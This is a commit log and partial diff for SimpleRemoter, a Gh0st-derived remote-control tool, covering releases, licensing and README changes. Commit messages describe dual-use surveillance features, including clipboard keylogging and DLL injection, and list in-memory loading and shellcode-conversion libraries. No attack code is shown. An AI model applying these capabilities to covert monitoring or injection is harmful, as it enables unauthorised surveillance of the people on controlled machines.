55 Commits

Author SHA1 Message Date
yuanyuanxiang
da024fb3fb Release v1.3.5 2026-05-31 17:34:30 +02:00
yuanyuanxiang
a5a04aaab7 fix(web): improve touch double-click reliability across platforms
Increase touch move threshold to prevent accidental drag detection.

Simulate physical double-click with two sequential click events and a 20ms delay instead of using non-standard dblclick event.

Fix folder renaming and unresponsiveness issues on Windows, Linux, and macOS.
2026-05-30 23:41:03 +02:00
yuanyuanxiang
c846d11efa Feature: add menu-driven compress/extract via custom file+folder picker 2026-05-30 18:10:15 +02:00
yuanyuanxiang
9fe8ab746a Perf(screen): skip encode on identical frames to cut HW encoder idle bandwidth 2026-05-30 00:12:47 +02:00
yuanyuanxiang
8c7f612449 Feature: Implement H.264 and AV1 hardware encoding for remote control
Remark: Need to update FFmpeg static libraries to take effort
2026-05-30 00:12:38 +02:00
yuanyuanxiang
d1aa7a2c02 Fix: guard IOCPClient against early packet before setManagerCallBack 2026-05-28 23:50:56 +02:00
yuanyuanxiang
c0a632a4c6 Compliance: Add building option to disable x264 and ffmpeg 2026-05-27 18:58:29 +02:00
yuanyuanxiang
085543b0f1 Fix(license): respect BindType when validating SN on import 2026-05-27 15:28:56 +02:00
yuanyuanxiang
1fd431ba76 Fix(logger): preserve queued logs on shutdown; record exit signal 2026-05-27 08:55:14 +02:00
yuanyuanxiang
268a427172 Go:Add build pipeline for go server and fix web login bug 2026-05-27 08:47:21 +02:00
yuanyuanxiang
620aaf6827 Fix(license): IP list truncated at 4KB causing permanent data loss 2026-05-25 21:04:36 +02:00
yuanyuanxiang
d6fb612475 Refactor: Remove SCLoader.cpp and use the received DLL to inject 2026-05-25 00:16:39 +02:00
yuanyuanxiang
54c88539e5 Fix: Avoid sending authorization information to trail SN 2026-05-24 23:03:58 +02:00
yuanyuanxiang
92bf9c9ccb Fix(record): correct MJPEG upside-down playback
and remove 0-byte AVI residue on encoder open failure
2026-05-23 13:37:28 +02:00
yuanyuanxiang
99fc15ae41 Fix(cursor): correct trace cursor position on multi-monitor capture 2026-05-22 23:24:26 +02:00
yuanyuanxiang
62e962f216 doc(linux): Add linux client install.sh & uninstall.sh 2026-05-22 22:02:38 +02:00
yuanyuanxiang
740ec8baf3 Perf(license): mutex + write-suppression for licenses.ini hot path
licenses.ini was hit on every heartbeat -- 5s x clients x ~8 SetStr per
auth -- with no concurrency protection. Two consequences:
  1. 100 concurrent online would saturate the file (~160 writes/sec,
     full-file rewrite each via WritePrivateProfileString).
  2. Concurrent SetPendingRenewal / DecrementPendingQuota with no lock
     occasionally clobbered freshly-set renewal quotas (reported by
     user as "preset renewal silently disappears").

Add LicensesIniMutex() (Meyers singleton recursive_mutex, exposed in
CPasswordDlg.h so both CPasswordDlg.cpp and CLicenseDlg.cpp share it)
and wrap all 15 functions that touch licenses.ini.

Rewrite UpdateLicenseActivity around g_activityCache (in-memory state
keyed by "SN|IP|machine"): skip the entire write path when nothing
changed and the 30s LastActiveTime throttle window hasn't expired.
Passcode/HMAC are only flushed on actual change (renewal path); IP
list is only rewritten when the yyMMdd timestamp would roll a day.

Measured impact (local 2-client baseline):
  before: 0.60 writes/sec (4 writes per heartbeat cluster)
  after:  0.07 writes/sec (one write per client per 30s throttle)

Extrapolated to the 100-online target:
  before: ~160 writes/sec (saturation)
  after:  ~3.3 writes/sec  (100 clients / 30s throttle window)

Race elimination is the more important win: PendingQuota's
read-modify-write is now atomic, so the "preset renewal disappears"
race is closed.

Notes from audit (these landed during the same iteration):
- Cache key is (SN, IP, machine), not SN alone. A single SN can be
  shared by 100+ end machines in bulk-license deployments, so a
  per-SN cache flips on every heartbeat and defeats suppression.
  Per-(SN, IP, machine) throttling is what makes the 100/30 model
  actually hold; an SN-only key reproduced the original ~0.7 writes/s.
- DeleteLicense invalidates the per-SN activity cache via
  InvalidateLicenseActivityCache() (prefix scan since one SN maps to
  many cache entries). Without this, cache hits after delete would
  skip the auto-recreate path and leave the section permanently
  missing.
- OnLicenseViewIPs: m_ListLicense.SetItemText moved outside the lock
  so the critical section only covers disk I/O.
2026-05-22 00:31:54 +02:00
yuanyuanxiang
83d671c90f Fix(FRP): use UTC for privilegeKey timestamp to fix cross-timezone auth 2026-05-21 23:33:13 +02:00
yuanyuanxiang
5b7d3903b5 Feature: Automatically start frp client for subordinate 2026-05-21 23:33:06 +02:00
yuanyuanxiang
da443283f2 fix: Send AUTH to sub-master but generate wrong password 2026-05-21 21:37:52 +02:00
yuanyuanxiang
e5bb405f79 docs: migrate Release/Download targets to Gitea; keep stars/forks on GitHub
GitHub mirror is no longer maintained; v1.3.4+ releases land on Gitea only.
Repoint the Release-version badge and Download-Latest button (href + shields
endpoint + logo) at git.simpleremoter.com so visitors don't end up on a stale
GitHub release page.

Stars/forks badges stay on GitHub — vanity counters reflecting historical
accumulation, not navigation targets.

Also: server/go/README.md yama-issue-token link and the line-294 Markdown
"Releases" link in all three READMEs now point at Gitea.
2026-05-20 22:24:42 +02:00
yuanyuanxiang
6e743ada0b Release v1.3.4 2026-05-20 15:23:08 +02:00
yuanyuanxiang
d808462fe1 Feat(go): add Signer interface + License Server for multi-customer deployments 2026-05-20 15:22:47 +02:00
yuanyuanxiang
e264e092f6 Fix(client): harden TCP heartbeat against half-dead connections 2026-05-20 15:22:13 +02:00
yuanyuanxiang
707dcdbbb4 Fix(Web): exit remote-desktop fullscreen blocks device-list clicks 2026-05-19 22:20:58 +02:00
yuanyuanxiang
1c1bb3a5ff Fix(Go): notify browsers with device_offline so the webpage not frozen 2026-05-19 21:48:09 +02:00
yuanyuanxiang
cd43caafb2 Fix: Web remote desktop reliability and UX
- Server: clamp web session adaptive quality to H264-only levels (>=Good) in EvaluateQuality and ApplyQualityLevel; Ultra/High (DIFF/RGB565) caused the browser to freeze ~1 min into a session
- Server: move session-type detection to the top of ScreenSpyDlg::OnInitDialog and skip SetWindowPlacement/EnterFullScreen for hidden web sessions, eliminating the MFC dialog flash on web-triggered opens
- Linux client: default QualityLevel from QUALITY_ADAPTIVE to QUALITY_GOOD to match Windows/macOS so the server's adaptive controller doesn't auto-upgrade to non-H264 algorithms
- Web: clear the floating quick-action toolbar on fullscreen exit so its row of buttons (RDP reset / Mouse / Close) doesn't stay pinned to the top of the page
- Web: route F11 to the remote in control mode instead of toggling local fullscreen
- Web: route Esc to the remote in control mode via the Keyboard Lock API instead of exiting native fullscreen
2026-05-19 18:39:16 +02:00
yuanyuanxiang
d757c33bcb Fix(Go): stable device list ordering + RDP-reset handler
Fix UTF-8 login text decode + stale screen sub-conn retirement
2026-05-19 16:28:32 +02:00
5af017bf09 Improve Go Server to support remote desktop and command control (#1)
Reviewed-on: #1
2026-05-18 22:06:07 +00:00
yuanyuanxiang
32a75f4670 Security(Go): Login rate limit + WS origin allowlist + REST bearer auth 2026-05-18 22:06:07 +00:00
yuanyuanxiang
d7f38ecfdb Feature(Go): Web terminal relay with PTY mode and graceful close (Phase 6) 2026-05-18 22:06:07 +00:00
yuanyuanxiang
6485e800d6 Feature(Go): Mouse/keyboard input + user management with users.json (Phase 5 + 7) 2026-05-18 22:06:07 +00:00
yuanyuanxiang
fba4143dd1 Feature(Go): Screen frame relay end-to-end with graceful client BYE (Phase 4) 2026-05-18 22:06:07 +00:00
yuanyuanxiang
4ea6ed252c Feature(Go): Web auth, WebSocket signaling and live device list (Phase 3) 2026-05-18 22:06:07 +00:00
yuanyuanxiang
534d3650c4 Feature(Go): Embed and serve web UI assets 2026-05-18 22:06:07 +00:00
yuanyuanxiang
2ed86b5e08 Fix(Go): Restore missing go.mod from SimpleRemoter migration 2026-05-18 22:06:07 +00:00
yuanyuanxiang
8dd1c936e2 Security: Web admin password via YAMA_WEB_ADMIN_PASS, decoupled from master password 2026-05-18 23:56:05 +02:00
yuanyuanxiang
ccab37658a Improve(Web): Touch-mode visual cursor follows remote IDC_* state 2026-05-17 20:02:10 +02:00
yuanyuanxiang
4e0627e6a3 Fix(Web): Align touchpad cursor overlay to SVG arrow tip 2026-05-17 19:12:55 +02:00
yuanyuanxiang
dc48091d5b Refactor(Web): Extract embedded HTML to server/web/index.html 2026-05-17 18:46:21 +02:00
yuanyuanxiang
4d2b12a9dd Compliance: Server-side anti-proxy for trail authorization 2026-05-16 19:48:39 +02:00
yuanyuanxiang
4279e79aa7 Compliance fix: Move LAN RTT check to KernelManager heartbeat 2026-05-16 00:06:01 +02:00
yuanyuanxiang
14387d69ca Compliance: Anti-proxy RTT check + tiered usage policy and disclaimer
Refine: Subtract server processing time from auth heartbeat RTT for proxy detection

chore: add MIT LICENSE + remove RAT-named related project link
2026-05-15 17:15:00 +02:00
yuanyuanxiang
744ebfba0d Improve(Web): Headless host opens terminal
fix two-finger scroll speed and zoom misdetect
2026-05-15 02:05:01 +02:00
yuanyuanxiang
5a92c3306f Feature: Web remote terminal (xterm.js + mobile UX polish) 2026-05-15 02:05:01 +02:00
yuanyuanxiang
5d9554780f Fix(Web): Map unshifted OEM symbols, send multi-char IME commits 2026-05-15 02:05:01 +02:00
yuanyuanxiang
84a52b9dcf Improve: Web UI - iOS safe-area, icon toolbar buttons, logout confirm 2026-05-15 02:05:00 +02:00
yuanyuanxiang
571ec7d80c Fix: Add AVX2 runtime check and optional x264 compilation 2026-05-14 13:39:44 +02:00
yuanyuanxiang
ead4f909ee Fix: Match thumbnail column selection bg on listview focus loss 2026-05-13 21:44:26 +02:00
yuanyuanxiang
e762e3cbd1 Feature: Add live thumbnail preview column to online host list 2026-05-13 18:43:20 +02:00
yuanyuanxiang
6c32b478af Feature: Add "Play Snapshot" loop preview windows for online hosts 2026-05-13 13:05:31 +02:00
yuanyuanxiang
b813d94486 Improve: Finish "scheduler.h" to support all running plan 2026-05-12 22:53:17 +02:00
yuanyuanxiang
0fe67b16d5 Feature: Support replacing clip text via keyboard management dialog 2026-05-11 20:22:07 +02:00
yuanyuanxiang
b69d61617f Improve: Keyboard logger supports logging clipboard changes 2026-05-11 00:49:18 +02:00
shaun
929436e29d Fix: DO NOT use absolute resource path in .RC file 2026-05-10 23:42:58 +02:00
139 changed files with 19438 additions and 15540 deletions

4
.gitattributes vendored
View File

@@ -1,6 +1,10 @@
# Auto detect text files and perform LF normalization
* text=auto
# Shell scripts must keep LF line endings even when checked out on Windows,
# otherwise Linux refuses them with "bad interpreter: /usr/bin/env^M".
*.sh text eol=lf
# Custom for Visual Studio
*.cs diff=csharp

10
.gitignore vendored
View File

@@ -81,7 +81,17 @@ Releases/*
linux/Makefile
linux/cmake_install.cmake
.vs
client/ghost_vs2015.vcxproj.user
docs/macOS_Support_Design.md
settings.local.json
*.zip
*.lic
YAMA.code-workspace
.claude/settings.json
.vscode/settings.json
Bin/*
nul
server/go/web/assets/index.html
server/go/users.json
server/go/build/
server/go/.claude/settings.json

View File

@@ -11,6 +11,14 @@
- [jpeg v3.1.1](https://github.com/libjpeg-turbo/libjpeg-turbo)
- [opus-1.6.1](https://opus-codec.org/release/stable/2026/01/14/libopus-1_6_1.html)
- [libpeconv c7d1e48](https://github.com/hasherezade/libpeconv)
- [libvpl v2.16.0](https://github.com/intel/libvpl)
- [dav1d 62501cc](https://github.com/videolan/dav1d)
## execution
- [MemoryModule](https://github.com/fancycode/MemoryModule.git)
- [sRDI](https://github.com/Drewsif/sRDI.git)
- [pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode.git)
## *Note*

21
LICENSE Normal file
View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2019-2026 yuanyuanxiang
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to furnish persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE, OR IN CONNECTION WITH THE USE OR
OTHER DEALINGS IN THE SOFTWARE.

279
LICENSE-THIRD-PARTY.txt Normal file
View File

@@ -0,0 +1,279 @@
THIRD-PARTY SOFTWARE NOTICES AND LICENSES
This document contains intellectual property notices and license information for
third-party software components used in this product.
================================================================================
SUMMARY OF LICENSE TYPES
================================================================================
The third-party components included in this software are governed by the following
open-source licenses. For complete compliance, ensure that any modifications to
LGPL and MPL covered components are made available under their respective terms,
and this text file is distributed with your software product.
1. Zlib License
- zlib v1.3.2
2. BSD 3-Clause License
- zstd v1.5.7
- libyuv v190
- jpeg (libjpeg-turbo) v3.1.1
- opus-1.6.1
3. BSD 2-Clause License
- libpeconv c7d1e48
- pe_to_shellcode
4. MIT License
- jsoncpp v1.9.6
- sRDI
5. GNU Lesser General Public License v2.1 (LGPL v2.1)
- ffmpeg v7.1 (Compiled in shared, non-GPL mode)
6. Mozilla Public License v2.0 (MPL 2.0)
- MemoryModule
================================================================================
1. zlib v1.3.2 (Zlib License)
================================================================================
Copyright (C) 1995-2024 Jean-loup Gailly and Mark Adler
This software is provided 'as-is', without any express or implied
warranty. In no event will the authors be held liable for any damages
arising from the use of this software.
Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute it
freely, subject to the following restrictions:
1. The origin of this software must not be misrepresented; you must not
claim that you wrote the original software. If you use this software
in a product, an acknowledgment in the product documentation would be
appreciated but is not required.
2. Altered source versions must be plainly marked as such, and must not be
misrepresented as being the original software.
3. This notice may not be removed or altered from any source distribution.
================================================================================
2. zstd v1.5.7 (BSD 3-Clause License)
================================================================================
Copyright (c) 2016-present, Facebook, Inc. All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name Facebook nor the names of its contributors may be used to
endorse or promote products derived from this software without specific
prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
================================================================================
3. libyuv v190 (BSD 3-Clause License)
================================================================================
Copyright 2011 The LibYuv Project Authors. All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of Google nor the names of its contributors may be used to
endorse or promote products derived from this software without specific
prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
================================================================================
4. jpeg (libjpeg-turbo) v3.1.1 (BSD 3-Clause / IJG License)
================================================================================
Copyright (C) 2009-2024 D. R. Commander. All Rights Reserved.
Copyright (C) 2015 Viktor Szathmáry. All Rights Reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
- Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
- Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
- Neither the name of the libjpeg-turbo Project nor the names of its
contributors may be used to endorse or promote products derived from this
software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
================================================================================
5. opus-1.6.1 (BSD 3-Clause License)
================================================================================
Copyright 2001-2011 Xiph.Org, Skype Limited, Octasic,
Jean-Marc Valin, Timothy B. Terriberry,
CSIRO, Gregory Maxwell, Mark Borgerding,
Erik de Castro Lopo
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
- Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
- Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
- Neither the name of the Xiph.Org Foundation nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION
OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
================================================================================
6. libpeconv c7d1e48 & pe_to_shellcode (BSD 2-Clause License)
================================================================================
Copyright (c) 2020, hasherezade
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
================================================================================
7. jsoncpp v1.9.6 (MIT License)
================================================================================
Copyright (c) 2007-2010 The JsonCpp Authors
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
================================================================================
8. sRDI (MIT License)
================================================================================
Copyright (c) 2017 Drewsif
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================================================
9. ffmpeg v7.1 (GNU Lesser General Public License v2.1)
================================================================================
This software uses libraries from the FFmpeg project (v7.1), licensed under the
GNU Lesser General Public License (LGPL) version 2.1.
FFmpeg is a trademark of Fabrice Bellard, originator of the FFmpeg project.
Our product links to FFmpeg dynamically as a shared library (.dll/.so/.dylib)
and does NOT enable any GPL-licensed plugins (such as x264).
The source code of FFmpeg v7.1 can be obtained from the official FFmpeg
website (https://ffmpeg.org). If you require the exact build script and build
configuration used by our product to build the FFmpeg binary, please contact
our open-source compliance team.
================================================================================
10. MemoryModule (Mozilla Public License v2.0)
================================================================================
This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0.
If a copy of the MPL was not distributed with this file, You can obtain one at
http://mozilla.org/MPL/2.0/.
MemoryModule is Copyright (c) Joachim Bauch.
Under the terms of the MPL 2.0, you may distribute this component as part of
your commercial/proprietary application without being required to open-source
your own proprietary code, provided that:
1. MemoryModule source files remain unmodified, or if modified, those modifications
are made available under the MPL 2.0.
2. Users are informed that MemoryModule is used and where they can find its source.

814
ReadMe.md
View File

@@ -9,18 +9,18 @@
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/network/members">
<img src="https://img.shields.io/github/forks/yuanyuanxiang/SimpleRemoter?style=flat-square&logo=github" alt="GitHub Forks">
</a>
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases">
<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release">
<a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases">
<img src="https://img.shields.io/gitea/v/release/yuanyuanxiang/SimpleRemoter?gitea_url=https%3A%2F%2Fgit.simpleremoter.com&style=flat-square&logo=gitea" alt="Gitea Release">
</a>
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Platform">
<img src="https://img.shields.io/badge/language-C%2B%2B17-orange?style=flat-square&logo=cplusplus" alt="Language">
<img src="https://img.shields.io/badge/IDE-VS2019%2B-purple?style=flat-square&logo=visualstudio" alt="IDE">
<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Client Platforms">
<img src="https://img.shields.io/badge/server-Windows%20%7C%20Linux%20%7C%20macOS-success?style=flat-square" alt="Server Platforms">
<img src="https://img.shields.io/badge/language-C%2B%2B17%20%2F%20Go-orange?style=flat-square&logo=cplusplus" alt="Language">
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
</p>
<p align="center">
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest">
<img src="https://img.shields.io/badge/Download-最新版本-2ea44f?style=for-the-badge&logo=github" alt="Download Latest">
<a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases/latest">
<img src="https://img.shields.io/badge/Download-最新版本-2ea44f?style=for-the-badge&logo=gitea" alt="Download Latest">
</a>
</p>
@@ -29,10 +29,7 @@
> [!WARNING]
> **重要法律声明**
>
> 本软件**仅供教育目的及授权使用场景**,包括
> - 在您的组织内进行远程 IT 管理
> - 经授权的渗透测试和安全研究
> - 个人设备管理和技术学习
> 本软件**仅供教育目的及授权使用场景**组织内远程 IT 管理、经授权的渗透测试与安全研究、个人设备管理与技术学习。
>
> **未经授权访问计算机系统属违法行为。** 使用者须对遵守所有适用法律承担全部责任。开发者对任何滥用行为概不负责。
@@ -41,13 +38,13 @@
## 目录
- [项目简介](#项目简介)
- [免责声明](#免责声明)
- [本版本亮点:全平台闭环](#本版本亮点全平台闭环)
- [合规与反滥用](#合规与反滥用)
- [功能特性](#功能特性)
- [技术亮点](#技术亮点)
- [全平台支持](#全平台支持)
- [系统架构](#系统架构)
- [快速开始](#快速开始)
- [用户文档](#用户文档)
- [客户端支持](#客户端支持)
- [更新日志](#更新日志)
- [相关项目](#相关项目)
- [联系方式](#联系方式)
@@ -56,25 +53,9 @@
## 项目简介
**SimpleRemoter** 是一个功能完整的远程控制解决方案,基于经典的 Gh0st 框架重构,采用现代 C++17 开发。项目始于 2019 年,经过持续迭代已发展为支持 **Windows + Linux + macOS** 三平台的企业级远程管理工具
**SimpleRemoter** 是一个端到端跨平台的远程控制解决方案。
### 核心能力
| 类别 | 功能 |
|------|------|
| **远程桌面** | 实时屏幕控制、多显示器支持、H.264 编码、自适应质量 |
| **文件管理** | 双向传输、断点续传、C2C 传输、SHA-256 校验 |
| **终端管理** | 交互式 Shell、ConPTY/PTY 支持、现代 Web 终端 |
| **系统管理** | 进程/服务/窗口管理、注册表浏览、会话控制 |
| **媒体采集** | 摄像头监控、音频监听、键盘记录 |
| **网络功能** | SOCKS 代理、FRP 穿透、端口映射 |
### 适用场景
- **企业 IT 运维**:批量管理内网设备,远程故障排查
- **远程办公**:安全访问办公电脑,文件同步传输
- **安全研究**:渗透测试、红队演练、安全审计
- **技术学习**网络编程、IOCP 模型、加密传输实践
项目核心基于经典 **Gh0st 架构**,最早始于 2019 年 1 月。历经 7 年持续迭代——从 IOCP 通信内核重构、x264 视频级编码、V2 文件传输协议、多层授权体系,到 Linux 与 macOS 客户端的引入——本版本最终完成**客户端 + 服务端的全平台闭环**三大桌面操作系统Windows / Linux / macOS在任一侧都可作为受控端或主控端。
**原始来源:** [zibility/Remote](https://github.com/zibility/Remote) | **起始日期:** 2019.1.1
@@ -82,36 +63,73 @@
---
## 免责声明
## 本版本亮点:全平台闭环
**请在使用本软件前仔细阅读以下声明:**
